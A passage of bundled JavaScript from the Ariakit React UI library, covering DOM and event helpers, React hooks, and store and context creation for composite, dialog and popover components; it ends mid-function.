var buttonInputTypes = [
  "button",
  "color",
  "file",
  "image",
  "reset",
  "submit"
];
function isVisible(element) {
  if (typeof element.checkVisibility === "function") {
    return element.checkVisibility();
  }
  const htmlElement = element;
  return htmlElement.offsetWidth > 0 || htmlElement.offsetHeight > 0 || element.getClientRects().length > 0;
}
function isTextField(element) {
  try {
    const isTextInput = element instanceof HTMLInputElement && element.selectionStart !== null;
    const isTextArea = element.tagName === "TEXTAREA";
    return isTextInput || isTextArea || false;
  } catch (error) {
    return false;
  }
}
function isTextbox(element) {
  return element.isContentEditable || isTextField(element);
}
function getTextboxValue(element) {
  if (isTextField(element)) {
    return element.value;
  }
  if (element.isContentEditable) {
    const range = getDocument(element).createRange();
    range.selectNodeContents(element);
    return range.toString();
  }
  return "";
}
function getTextboxSelection(element) {
  let start = 0;
  let end = 0;
  if (isTextField(element)) {
    start = element.selectionStart || 0;
    end = element.selectionEnd || 0;
  } else if (element.isContentEditable) {
    const selection = getDocument(element).getSelection();
    if ((selection == null ? void 0 : selection.rangeCount) && selection.anchorNode && contains(element, selection.anchorNode) && selection.focusNode && contains(element, selection.focusNode)) {
      const range = selection.getRangeAt(0);
      const nextRange = range.cloneRange();
      nextRange.selectNodeContents(element);
      nextRange.setEnd(range.startContainer, range.startOffset);
      start = nextRange.toString().length;
      nextRange.setEnd(range.endContainer, range.endOffset);
      end = nextRange.toString().length;
    }
  }
  return { start, end };
}
function getPopupRole(element, fallback) {
  const allowedPopupRoles = ["dialog", "menu", "listbox", "tree", "grid"];
  const role = element == null ? void 0 : element.getAttribute("role");
  if (role && allowedPopupRoles.indexOf(role) !== -1) {
    return role;
  }
  return fallback;
}
function getPopupItemRole(element, fallback) {
  var _a;
  const itemRoleByPopupRole = {
    menu: "menuitem",
    listbox: "option",
    tree: "treeitem"
  };
  const popupRole = getPopupRole(element);
  if (!popupRole) return fallback;
  const key = popupRole;
  return (_a = itemRoleByPopupRole[key]) != null ? _a : fallback;
}
function scrollIntoViewIfNeeded(element, arg) {
  if (isPartiallyHidden(element) && "scrollIntoView" in element) {
    element.scrollIntoView(arg);
  }
}
function getScrollingElement(element) {
  if (!element) return null;
  const isScrollableOverflow = (overflow) => {
    if (overflow === "auto") return true;
    if (overflow === "scroll") return true;
    return false;
  };
  if (element.clientHeight && element.scrollHeight > element.clientHeight) {
    const { overflowY } = getComputedStyle(element);
    if (isScrollableOverflow(overflowY)) return element;
  } else if (element.clientWidth && element.scrollWidth > element.clientWidth) {
    const { overflowX } = getComputedStyle(element);
    if (isScrollableOverflow(overflowX)) return element;
  }
  return getScrollingElement(element.parentElement) || document.scrollingElement || document.body;
}
function isPartiallyHidden(element) {
  const elementRect = element.getBoundingClientRect();
  const scroller = getScrollingElement(element);
  if (!scroller) return false;
  const scrollerRect = scroller.getBoundingClientRect();
  const isHTML = scroller.tagName === "HTML";
  const scrollerTop = isHTML ? scrollerRect.top + scroller.scrollTop : scrollerRect.top;
  const scrollerBottom = isHTML ? scroller.clientHeight : scrollerRect.bottom;
  const scrollerLeft = isHTML ? scrollerRect.left + scroller.scrollLeft : scrollerRect.left;
  const scrollerRight = isHTML ? scroller.clientWidth : scrollerRect.right;
  const top = elementRect.top < scrollerTop;
  const left = elementRect.left < scrollerLeft;
  const bottom = elementRect.bottom > scrollerBottom;
  const right = elementRect.right > scrollerRight;
  return top || left || bottom || right;
}
function setSelectionRange(element, ...args) {
  if (/text|search|password|tel|url/i.test(element.type)) {
    element.setSelectionRange(...args);
  }
}
function sortBasedOnDOMPosition(items, getElement) {
  const pairs = items.map((item, index) => [index, item]);
  let isOrderDifferent = false;
  pairs.sort(([indexA, a], [indexB, b]) => {
    const elementA = getElement(a);
    const elementB = getElement(b);
    if (elementA === elementB) return 0;
    if (!elementA || !elementB) return 0;
    if (isElementPreceding(elementA, elementB)) {
      if (indexA > indexB) {
        isOrderDifferent = true;
      }
      return -1;
    }
    if (indexA < indexB) {
      isOrderDifferent = true;
    }
    return 1;
  });
  if (isOrderDifferent) {
    return pairs.map(([_, item]) => item);
  }
  return items;
}
function isElementPreceding(a, b) {
  return Boolean(
    b.compareDocumentPosition(a) & Node.DOCUMENT_POSITION_PRECEDING
  );
}



;// ./node_modules/@ariakit/core/esm/__chunks/QAGXQEUG.js
"use client";


// src/utils/platform.ts
function isTouchDevice() {
  return DTR5TSDJ_canUseDOM && !!navigator.maxTouchPoints;
}
function isApple() {
  if (!DTR5TSDJ_canUseDOM) return false;
  return /mac|iphone|ipad|ipod/i.test(navigator.platform);
}
function isSafari() {
  return DTR5TSDJ_canUseDOM && isApple() && /apple/i.test(navigator.vendor);
}
function isFirefox() {
  return DTR5TSDJ_canUseDOM && /firefox\//i.test(navigator.userAgent);
}
function isMac() {
  return canUseDOM && navigator.platform.startsWith("Mac") && !isTouchDevice();
}



;// ./node_modules/@ariakit/core/esm/utils/events.js
"use client";




// src/utils/events.ts
function isPortalEvent(event) {
  return Boolean(
    event.currentTarget && !contains(event.currentTarget, event.target)
  );
}
function isSelfTarget(event) {
  return event.target === event.currentTarget;
}
function isOpeningInNewTab(event) {
  const element = event.currentTarget;
  if (!element) return false;
  const isAppleDevice = isApple();
  if (isAppleDevice && !event.metaKey) return false;
  if (!isAppleDevice && !event.ctrlKey) return false;
  const tagName = element.tagName.toLowerCase();
  if (tagName === "a") return true;
  if (tagName === "button" && element.type === "submit") return true;
  if (tagName === "input" && element.type === "submit") return true;
  return false;
}
function isDownloading(event) {
  const element = event.currentTarget;
  if (!element) return false;
  const tagName = element.tagName.toLowerCase();
  if (!event.altKey) return false;
  if (tagName === "a") return true;
  if (tagName === "button" && element.type === "submit") return true;
  if (tagName === "input" && element.type === "submit") return true;
  return false;
}
function fireEvent(element, type, eventInit) {
  const event = new Event(type, eventInit);
  return element.dispatchEvent(event);
}
function fireBlurEvent(element, eventInit) {
  const event = new FocusEvent("blur", eventInit);
  const defaultAllowed = element.dispatchEvent(event);
  const bubbleInit = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, eventInit), { bubbles: true });
  element.dispatchEvent(new FocusEvent("focusout", bubbleInit));
  return defaultAllowed;
}
function fireFocusEvent(element, eventInit) {
  const event = new FocusEvent("focus", eventInit);
  const defaultAllowed = element.dispatchEvent(event);
  const bubbleInit = __spreadProps(__spreadValues({}, eventInit), { bubbles: true });
  element.dispatchEvent(new FocusEvent("focusin", bubbleInit));
  return defaultAllowed;
}
function fireKeyboardEvent(element, type, eventInit) {
  const event = new KeyboardEvent(type, eventInit);
  return element.dispatchEvent(event);
}
function fireClickEvent(element, eventInit) {
  const event = new MouseEvent("click", eventInit);
  return element.dispatchEvent(event);
}
function isFocusEventOutside(event, container) {
  const containerElement = container || event.currentTarget;
  const relatedTarget = event.relatedTarget;
  return !relatedTarget || !contains(containerElement, relatedTarget);
}
function getInputType(event) {
  const nativeEvent = "nativeEvent" in event ? event.nativeEvent : event;
  if (!nativeEvent) return;
  if (!("inputType" in nativeEvent)) return;
  if (typeof nativeEvent.inputType !== "string") return;
  return nativeEvent.inputType;
}
function queueBeforeEvent(element, type, callback, timeout) {
  const createTimer = (callback2) => {
    if (timeout) {
      const timerId2 = setTimeout(callback2, timeout);
      return () => clearTimeout(timerId2);
    }
    const timerId = requestAnimationFrame(callback2);
    return () => cancelAnimationFrame(timerId);
  };
  const cancelTimer = createTimer(() => {
    element.removeEventListener(type, callSync, true);
    callback();
  });
  const callSync = () => {
    cancelTimer();
    callback();
  };
  element.addEventListener(type, callSync, { once: true, capture: true });
  return cancelTimer;
}
function addGlobalEventListener(type, listener, options, scope = window) {
  const children = [];
  try {
    scope.document.addEventListener(type, listener, options);
    for (const frame of Array.from(scope.frames)) {
      children.push(addGlobalEventListener(type, listener, options, frame));
    }
  } catch (e) {
  }
  const removeEventListener = () => {
    try {
      scope.document.removeEventListener(type, listener, options);
    } catch (e) {
    }
    for (const remove of children) {
      remove();
    }
  };
  return removeEventListener;
}


;// ./node_modules/@ariakit/react-core/esm/__chunks/ABQUS43J.js
"use client";



// src/utils/hooks.ts




var _React = _3YLGPPWQ_spreadValues({}, external_React_namespaceObject);
var useReactId = _React.useId;
var useReactDeferredValue = _React.useDeferredValue;
var useReactInsertionEffect = _React.useInsertionEffect;
var useSafeLayoutEffect = DTR5TSDJ_canUseDOM ? external_React_.useLayoutEffect : external_React_.useEffect;
function useInitialValue(value) {
  const [initialValue] = (0,external_React_.useState)(value);
  return initialValue;
}
function useLazyValue(init) {
  const ref = useRef();
  if (ref.current === void 0) {
    ref.current = init();
  }
  return ref.current;
}
function useLiveRef(value) {
  const ref = (0,external_React_.useRef)(value);
  useSafeLayoutEffect(() => {
    ref.current = value;
  });
  return ref;
}
function usePreviousValue(value) {
  const [previousValue, setPreviousValue] = useState(value);
  if (value !== previousValue) {
    setPreviousValue(value);
  }
  return previousValue;
}
function useEvent(callback) {
  const ref = (0,external_React_.useRef)(() => {
    throw new Error("Cannot call an event handler while rendering.");
  });
  if (useReactInsertionEffect) {
    useReactInsertionEffect(() => {
      ref.current = callback;
    });
  } else {
    ref.current = callback;
  }
  return (0,external_React_.useCallback)((...args) => {
    var _a;
    return (_a = ref.current) == null ? void 0 : _a.call(ref, ...args);
  }, []);
}
function useTransactionState(callback) {
  const [state, setState] = (0,external_React_.useState)(null);
  useSafeLayoutEffect(() => {
    if (state == null) return;
    if (!callback) return;
    let prevState = null;
    callback((prev) => {
      prevState = prev;
      return state;
    });
    return () => {
      callback(prevState);
    };
  }, [state, callback]);
  return [state, setState];
}
function useMergeRefs(...refs) {
  return (0,external_React_.useMemo)(() => {
    if (!refs.some(Boolean)) return;
    return (value) => {
      for (const ref of refs) {
        setRef(ref, value);
      }
    };
  }, refs);
}
function useId(defaultId) {
  if (useReactId) {
    const reactId = useReactId();
    if (defaultId) return defaultId;
    return reactId;
  }
  const [id, setId] = (0,external_React_.useState)(defaultId);
  useSafeLayoutEffect(() => {
    if (defaultId || id) return;
    const random = Math.random().toString(36).slice(2, 8);
    setId(`id-${random}`);
  }, [defaultId, id]);
  return defaultId || id;
}
function useDeferredValue(value) {
  if (useReactDeferredValue) {
    return useReactDeferredValue(value);
  }
  const [deferredValue, setDeferredValue] = useState(value);
  useEffect(() => {
    const raf = requestAnimationFrame(() => setDeferredValue(value));
    return () => cancelAnimationFrame(raf);
  }, [value]);
  return deferredValue;
}
function useTagName(refOrElement, type) {
  const stringOrUndefined = (type2) => {
    if (typeof type2 !== "string") return;
    return type2;
  };
  const [tagName, setTagName] = (0,external_React_.useState)(() => stringOrUndefined(type));
  useSafeLayoutEffect(() => {
    const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
    setTagName((element == null ? void 0 : element.tagName.toLowerCase()) || stringOrUndefined(type));
  }, [refOrElement, type]);
  return tagName;
}
function useAttribute(refOrElement, attributeName, defaultValue) {
  const initialValue = useInitialValue(defaultValue);
  const [attribute, setAttribute] = (0,external_React_.useState)(initialValue);
  (0,external_React_.useEffect)(() => {
    const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
    if (!element) return;
    const callback = () => {
      const value = element.getAttribute(attributeName);
      setAttribute(value == null ? initialValue : value);
    };
    const observer = new MutationObserver(callback);
    observer.observe(element, { attributeFilter: [attributeName] });
    callback();
    return () => observer.disconnect();
  }, [refOrElement, attributeName, initialValue]);
  return attribute;
}
function useUpdateEffect(effect, deps) {
  const mounted = (0,external_React_.useRef)(false);
  (0,external_React_.useEffect)(() => {
    if (mounted.current) {
      return effect();
    }
    mounted.current = true;
  }, deps);
  (0,external_React_.useEffect)(
    () => () => {
      mounted.current = false;
    },
    []
  );
}
function useUpdateLayoutEffect(effect, deps) {
  const mounted = (0,external_React_.useRef)(false);
  useSafeLayoutEffect(() => {
    if (mounted.current) {
      return effect();
    }
    mounted.current = true;
  }, deps);
  useSafeLayoutEffect(
    () => () => {
      mounted.current = false;
    },
    []
  );
}
function useForceUpdate() {
  return (0,external_React_.useReducer)(() => [], []);
}
function useBooleanEvent(booleanOrCallback) {
  return useEvent(
    typeof booleanOrCallback === "function" ? booleanOrCallback : () => booleanOrCallback
  );
}
function useWrapElement(props, callback, deps = []) {
  const wrapElement = (0,external_React_.useCallback)(
    (element) => {
      if (props.wrapElement) {
        element = props.wrapElement(element);
      }
      return callback(element);
    },
    [...deps, props.wrapElement]
  );
  return _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { wrapElement });
}
function usePortalRef(portalProp = false, portalRefProp) {
  const [portalNode, setPortalNode] = useState(null);
  const portalRef = useMergeRefs(setPortalNode, portalRefProp);
  const domReady = !portalProp || portalNode;
  return { portalRef, portalNode, domReady };
}
function useMetadataProps(props, key, value) {
  const parent = props.onLoadedMetadataCapture;
  const onLoadedMetadataCapture = (0,external_React_.useMemo)(() => {
    return Object.assign(() => {
    }, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, parent), { [key]: value }));
  }, [parent, key, value]);
  return [parent == null ? void 0 : parent[key], { onLoadedMetadataCapture }];
}
function useIsMouseMoving() {
  (0,external_React_.useEffect)(() => {
    addGlobalEventListener("mousemove", setMouseMoving, true);
    addGlobalEventListener("mousedown", resetMouseMoving, true);
    addGlobalEventListener("mouseup", resetMouseMoving, true);
    addGlobalEventListener("keydown", resetMouseMoving, true);
    addGlobalEventListener("scroll", resetMouseMoving, true);
  }, []);
  const isMouseMoving = useEvent(() => mouseMoving);
  return isMouseMoving;
}
var mouseMoving = false;
var previousScreenX = 0;
var previousScreenY = 0;
function hasMouseMovement(event) {
  const movementX = event.movementX || event.screenX - previousScreenX;
  const movementY = event.movementY || event.screenY - previousScreenY;
  previousScreenX = event.screenX;
  previousScreenY = event.screenY;
  return movementX || movementY || "production" === "test";
}
function setMouseMoving(event) {
  if (!hasMouseMovement(event)) return;
  mouseMoving = true;
}
function resetMouseMoving() {
  mouseMoving = false;
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/LMDWO4NN.js
"use client";




// src/utils/system.tsx


function forwardRef2(render) {
  const Role = external_React_.forwardRef((props, ref) => render(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { ref })));
  Role.displayName = render.displayName || render.name;
  return Role;
}
function memo2(Component, propsAreEqual) {
  return external_React_.memo(Component, propsAreEqual);
}
function createElement(Type, props) {
  const _a = props, { wrapElement, render } = _a, rest = __objRest(_a, ["wrapElement", "render"]);
  const mergedRef = useMergeRefs(props.ref, getRefProperty(render));
  let element;
  if (external_React_.isValidElement(render)) {
    const renderProps = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, render.props), { ref: mergedRef });
    element = external_React_.cloneElement(render, mergeProps(rest, renderProps));
  } else if (render) {
    element = render(rest);
  } else {
    element = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Type, _3YLGPPWQ_spreadValues({}, rest));
  }
  if (wrapElement) {
    return wrapElement(element);
  }
  return element;
}
function createHook(useProps) {
  const useRole = (props = {}) => {
    return useProps(props);
  };
  useRole.displayName = useProps.name;
  return useRole;
}
function createStoreContext(providers = [], scopedProviders = []) {
  const context = external_React_.createContext(void 0);
  const scopedContext = external_React_.createContext(void 0);
  const useContext2 = () => external_React_.useContext(context);
  const useScopedContext = (onlyScoped = false) => {
    const scoped = external_React_.useContext(scopedContext);
    const store = useContext2();
    if (onlyScoped) return scoped;
    return scoped || store;
  };
  const useProviderContext = () => {
    const scoped = external_React_.useContext(scopedContext);
    const store = useContext2();
    if (scoped && scoped === store) return;
    return store;
  };
  const ContextProvider = (props) => {
    return providers.reduceRight(
      (children, Provider) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children })),
      /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(context.Provider, _3YLGPPWQ_spreadValues({}, props))
    );
  };
  const ScopedContextProvider = (props) => {
    return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextProvider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children: scopedProviders.reduceRight(
      (children, Provider) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children })),
      /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(scopedContext.Provider, _3YLGPPWQ_spreadValues({}, props))
    ) }));
  };
  return {
    context,
    scopedContext,
    useContext: useContext2,
    useScopedContext,
    useProviderContext,
    ContextProvider,
    ScopedContextProvider
  };
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/VDHZ5F7K.js
"use client";


// src/collection/collection-context.tsx
var ctx = createStoreContext();
var useCollectionContext = ctx.useContext;
var useCollectionScopedContext = ctx.useScopedContext;
var useCollectionProviderContext = ctx.useProviderContext;
var CollectionContextProvider = ctx.ContextProvider;
var CollectionScopedContextProvider = ctx.ScopedContextProvider;



;// ./node_modules/@ariakit/react-core/esm/__chunks/P7GR5CS5.js
"use client";



// src/composite/composite-context.tsx

var P7GR5CS5_ctx = createStoreContext(
  [CollectionContextProvider],
  [CollectionScopedContextProvider]
);
var useCompositeContext = P7GR5CS5_ctx.useContext;
var useCompositeScopedContext = P7GR5CS5_ctx.useScopedContext;
var useCompositeProviderContext = P7GR5CS5_ctx.useProviderContext;
var CompositeContextProvider = P7GR5CS5_ctx.ContextProvider;
var CompositeScopedContextProvider = P7GR5CS5_ctx.ScopedContextProvider;
var CompositeItemContext = (0,external_React_.createContext)(
  void 0
);
var CompositeRowContext = (0,external_React_.createContext)(
  void 0
);



;// ./node_modules/@ariakit/react-core/esm/__chunks/3XAVFTCA.js
"use client";



// src/tag/tag-context.tsx

var TagValueContext = (0,external_React_.createContext)(null);
var TagRemoveIdContext = (0,external_React_.createContext)(
  null
);
var _3XAVFTCA_ctx = createStoreContext(
  [CompositeContextProvider],
  [CompositeScopedContextProvider]
);
var useTagContext = _3XAVFTCA_ctx.useContext;
var useTagScopedContext = _3XAVFTCA_ctx.useScopedContext;
var useTagProviderContext = _3XAVFTCA_ctx.useProviderContext;
var TagContextProvider = _3XAVFTCA_ctx.ContextProvider;
var TagScopedContextProvider = _3XAVFTCA_ctx.ScopedContextProvider;



;// ./node_modules/@ariakit/core/esm/__chunks/BCALMBPZ.js
"use client";



// src/utils/store.ts
function getInternal(store, key) {
  const internals = store.__unstableInternals;
  invariant(internals, "Invalid store");
  return internals[key];
}
function createStore(initialState, ...stores) {
  let state = initialState;
  let prevStateBatch = state;
  let lastUpdate = Symbol();
  let destroy = PBFD2E7P_noop;
  const instances = /* @__PURE__ */ new Set();
  const updatedKeys = /* @__PURE__ */ new Set();
  const setups = /* @__PURE__ */ new Set();
  const listeners = /* @__PURE__ */ new Set();
  const batchListeners = /* @__PURE__ */ new Set();
  const disposables = /* @__PURE__ */ new WeakMap();
  const listenerKeys = /* @__PURE__ */ new WeakMap();
  const storeSetup = (callback) => {
    setups.add(callback);
    return () => setups.delete(callback);
  };
  const storeInit = () => {
    const initialized = instances.size;
    const instance = Symbol();
    instances.add(instance);
    const maybeDestroy = () => {
      instances.delete(instance);
      if (instances.size) return;
      destroy();
    };
    if (initialized) return maybeDestroy;
    const desyncs = getKeys(state).map(
      (key) => chain(
        ...stores.map((store) => {
          var _a;
          const storeState = (_a = store == null ? void 0 : store.getState) == null ? void 0 : _a.call(store);
          if (!storeState) return;
          if (!PBFD2E7P_hasOwnProperty(storeState, key)) return;
          return sync(store, [key], (state2) => {
            setState(
              key,
              state2[key],
              // @ts-expect-error - Not public API. This is just to prevent
              // infinite loops.
              true
            );
          });
        })
      )
    );
    const teardowns = [];
    for (const setup2 of setups) {
      teardowns.push(setup2());
    }
    const cleanups = stores.map(init);
    destroy = chain(...desyncs, ...teardowns, ...cleanups);
    return maybeDestroy;
  };
  const sub = (keys, listener, set = listeners) => {
    set.add(listener);
    listenerKeys.set(listener, keys);
    return () => {
      var _a;
      (_a = disposables.get(listener)) == null ? void 0 : _a();
      disposables.delete(listener);
      listenerKeys.delete(listener);
      set.delete(listener);
    };
  };
  const storeSubscribe = (keys, listener) => sub(keys, listener);
  const storeSync = (keys, listener) => {
    disposables.set(listener, listener(state, state));
    return sub(keys, listener);
  };
  const storeBatch = (keys, listener) => {
    disposables.set(listener, listener(state, prevStateBatch));
    return sub(keys, listener, batchListeners);
  };
  const storePick = (keys) => createStore(pick(state, keys), finalStore);
  const storeOmit = (keys) => createStore(omit(state, keys), finalStore);
  const getState = () => state;
  const setState = (key, value, fromStores = false) => {
    var _a;
    if (!PBFD2E7P_hasOwnProperty(state, key)) return;
    const nextValue = applyState(value, state[key]);
    if (nextValue === state[key]) return;
    if (!fromStores) {
      for (const store of stores) {
        (_a = store == null ? void 0 : store.setState) == null ? void 0 : _a.call(store, key, nextValue);
      }
    }
    const prevState = state;
    state = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, state), { [key]: nextValue });
    const thisUpdate = Symbol();
    lastUpdate = thisUpdate;
    updatedKeys.add(key);
    const run = (listener, prev, uKeys) => {
      var _a2;
      const keys = listenerKeys.get(listener);
      const updated = (k) => uKeys ? uKeys.has(k) : k === key;
      if (!keys || keys.some(updated)) {
        (_a2 = disposables.get(listener)) == null ? void 0 : _a2();
        disposables.set(listener, listener(state, prev));
      }
    };
    for (const listener of listeners) {
      run(listener, prevState);
    }
    queueMicrotask(() => {
      if (lastUpdate !== thisUpdate) return;
      const snapshot = state;
      for (const listener of batchListeners) {
        run(listener, prevStateBatch, updatedKeys);
      }
      prevStateBatch = snapshot;
      updatedKeys.clear();
    });
  };
  const finalStore = {
    getState,
    setState,
    __unstableInternals: {
      setup: storeSetup,
      init: storeInit,
      subscribe: storeSubscribe,
      sync: storeSync,
      batch: storeBatch,
      pick: storePick,
      omit: storeOmit
    }
  };
  return finalStore;
}
function setup(store, ...args) {
  if (!store) return;
  return getInternal(store, "setup")(...args);
}
function init(store, ...args) {
  if (!store) return;
  return getInternal(store, "init")(...args);
}
function subscribe(store, ...args) {
  if (!store) return;
  return getInternal(store, "subscribe")(...args);
}
function sync(store, ...args) {
  if (!store) return;
  return getInternal(store, "sync")(...args);
}
function batch(store, ...args) {
  if (!store) return;
  return getInternal(store, "batch")(...args);
}
function omit2(store, ...args) {
  if (!store) return;
  return getInternal(store, "omit")(...args);
}
function pick2(store, ...args) {
  if (!store) return;
  return getInternal(store, "pick")(...args);
}
function mergeStore(...stores) {
  const initialState = stores.reduce((state, store2) => {
    var _a;
    const nextState = (_a = store2 == null ? void 0 : store2.getState) == null ? void 0 : _a.call(store2);
    if (!nextState) return state;
    return Object.assign(state, nextState);
  }, {});
  const store = createStore(initialState, ...stores);
  return Object.assign({}, ...stores, store);
}
function throwOnConflictingProps(props, store) {
  if (true) return;
  if (!store) return;
  const defaultKeys = Object.entries(props).filter(([key, value]) => key.startsWith("default") && value !== void 0).map(([key]) => {
    var _a;
    const stateKey = key.replace("default", "");
    return `${((_a = stateKey[0]) == null ? void 0 : _a.toLowerCase()) || ""}${stateKey.slice(1)}`;
  });
  if (!defaultKeys.length) return;
  const storeState = store.getState();
  const conflictingProps = defaultKeys.filter(
    (key) => PBFD2E7P_hasOwnProperty(storeState, key)
  );
  if (!conflictingProps.length) return;
  throw new Error(
    `Passing a store prop in conjunction with a default state is not supported.

const store = useSelectStore();
<SelectProvider store={store} defaultValue="Apple" />
                ^             ^

Instead, pass the default state to the topmost store:

const store = useSelectStore({ defaultValue: "Apple" });
<SelectProvider store={store} />

See https://github.com/ariakit/ariakit/pull/2745 for more details.

If there's a particular need for this, please submit a feature request at https://github.com/ariakit/ariakit
`
  );
}



// EXTERNAL MODULE: ./node_modules/use-sync-external-store/shim/index.js
var shim = __webpack_require__(422);
;// ./node_modules/@ariakit/react-core/esm/__chunks/YV4JVR4I.js
"use client";



// src/utils/store.tsx




var { useSyncExternalStore } = shim;
var noopSubscribe = () => () => {
};
function useStoreState(store, keyOrSelector = identity) {
  const storeSubscribe = external_React_.useCallback(
    (callback) => {
      if (!store) return noopSubscribe();
      return subscribe(store, null, callback);
    },
    [store]
  );
  const getSnapshot = () => {
    const key = typeof keyOrSelector === "string" ? keyOrSelector : null;
    const selector = typeof keyOrSelector === "function" ? keyOrSelector : null;
    const state = store == null ? void 0 : store.getState();
    if (selector) return selector(state);
    if (!state) return;
    if (!key) return;
    if (!PBFD2E7P_hasOwnProperty(state, key)) return;
    return state[key];
  };
  return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
}
function useStoreStateObject(store, object) {
  const objRef = external_React_.useRef(
    {}
  );
  const storeSubscribe = external_React_.useCallback(
    (callback) => {
      if (!store) return noopSubscribe();
      return subscribe(store, null, callback);
    },
    [store]
  );
  const getSnapshot = () => {
    const state = store == null ? void 0 : store.getState();
    let updated = false;
    const obj = objRef.current;
    for (const prop in object) {
      const keyOrSelector = object[prop];
      if (typeof keyOrSelector === "function") {
        const value = keyOrSelector(state);
        if (value !== obj[prop]) {
          obj[prop] = value;
          updated = true;
        }
      }
      if (typeof keyOrSelector === "string") {
        if (!state) continue;
        if (!PBFD2E7P_hasOwnProperty(state, keyOrSelector)) continue;
        const value = state[keyOrSelector];
        if (value !== obj[prop]) {
          obj[prop] = value;
          updated = true;
        }
      }
    }
    if (updated) {
      objRef.current = _3YLGPPWQ_spreadValues({}, obj);
    }
    return objRef.current;
  };
  return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
}
function useStoreProps(store, props, key, setKey) {
  const value = PBFD2E7P_hasOwnProperty(props, key) ? props[key] : void 0;
  const setValue = setKey ? props[setKey] : void 0;
  const propsRef = useLiveRef({ value, setValue });
  useSafeLayoutEffect(() => {
    return sync(store, [key], (state, prev) => {
      const { value: value2, setValue: setValue2 } = propsRef.current;
      if (!setValue2) return;
      if (state[key] === prev[key]) return;
      if (state[key] === value2) return;
      setValue2(state[key]);
    });
  }, [store, key]);
  useSafeLayoutEffect(() => {
    if (value === void 0) return;
    store.setState(key, value);
    return batch(store, [key], () => {
      if (value === void 0) return;
      store.setState(key, value);
    });
  });
}
function YV4JVR4I_useStore(createStore, props) {
  const [store, setStore] = external_React_.useState(() => createStore(props));
  useSafeLayoutEffect(() => init(store), [store]);
  const useState2 = external_React_.useCallback(
    (keyOrSelector) => useStoreState(store, keyOrSelector),
    [store]
  );
  const memoizedStore = external_React_.useMemo(
    () => _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, store), { useState: useState2 }),
    [store, useState2]
  );
  const updateStore = useEvent(() => {
    setStore((store2) => createStore(_3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({}, props), store2.getState())));
  });
  return [memoizedStore, updateStore];
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/C3IKGW5T.js
"use client";



// src/collection/collection-store.ts

function useCollectionStoreProps(store, update, props) {
  useUpdateEffect(update, [props.store]);
  useStoreProps(store, props, "items", "setItems");
  return store;
}
function useCollectionStore(props = {}) {
  const [store, update] = useStore(Core.createCollectionStore, props);
  return useCollectionStoreProps(store, update, props);
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/4CMBR7SL.js
"use client";





// src/composite/composite-store.ts

function useCompositeStoreOptions(props) {
  const id = useId(props.id);
  return _3YLGPPWQ_spreadValues({ id }, props);
}
function useCompositeStoreProps(store, update, props) {
  store = useCollectionStoreProps(store, update, props);
  useStoreProps(store, props, "activeId", "setActiveId");
  useStoreProps(store, props, "includesBaseElement");
  useStoreProps(store, props, "virtualFocus");
  useStoreProps(store, props, "orientation");
  useStoreProps(store, props, "rtl");
  useStoreProps(store, props, "focusLoop");
  useStoreProps(store, props, "focusWrap");
  useStoreProps(store, props, "focusShift");
  return store;
}
function useCompositeStore(props = {}) {
  props = useCompositeStoreOptions(props);
  const [store, update] = useStore(Core.createCompositeStore, props);
  return useCompositeStoreProps(store, update, props);
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/WYCIER3C.js
"use client";



// src/disclosure/disclosure-store.ts

function useDisclosureStoreProps(store, update, props) {
  useUpdateEffect(update, [props.store, props.disclosure]);
  useStoreProps(store, props, "open", "setOpen");
  useStoreProps(store, props, "mounted", "setMounted");
  useStoreProps(store, props, "animated");
  return Object.assign(store, { disclosure: props.disclosure });
}
function useDisclosureStore(props = {}) {
  const [store, update] = useStore(Core.createDisclosureStore, props);
  return useDisclosureStoreProps(store, update, props);
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/BM6PGYQY.js
"use client";



// src/dialog/dialog-store.ts

function useDialogStoreProps(store, update, props) {
  return useDisclosureStoreProps(store, update, props);
}
function useDialogStore(props = {}) {
  const [store, update] = useStore(Core.createDialogStore, props);
  return useDialogStoreProps(store, update, props);
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/O2PQ2652.js
"use client";




// src/popover/popover-store.ts

function usePopoverStoreProps(store, update, props) {
  useUpdateEffect(update, [props.popover]);
  useStoreProps(store, props, "placement");
  return useDialogStoreProps(store, update, props);
}
function usePopoverStore(props = {}) {
  const [store, update] = useStore(Core.createPopoverStore, props);
  return usePopoverStoreProps(store, update, props);
}



;// ./node_modules/@ariakit/core/esm/__chunks/CYQWQL4J.js
"use client";





// src/collection/collection-store.ts
function getCommonParent(items) {
  var _a;
  const firstItem = items.find((item) => !!item.element);
  const lastItem = [...items].reverse().find((item) => !!item.element);
  let parentElement = (_a = firstItem == null ? void 0 : firstItem.element) == null ? void 0 : _a.parentElement;
  while (parentElement && (lastItem == null ? void 0 : lastItem.element)) {
    const parent = parentElement;
    if (lastItem && parent.contains(lastItem.element)) {
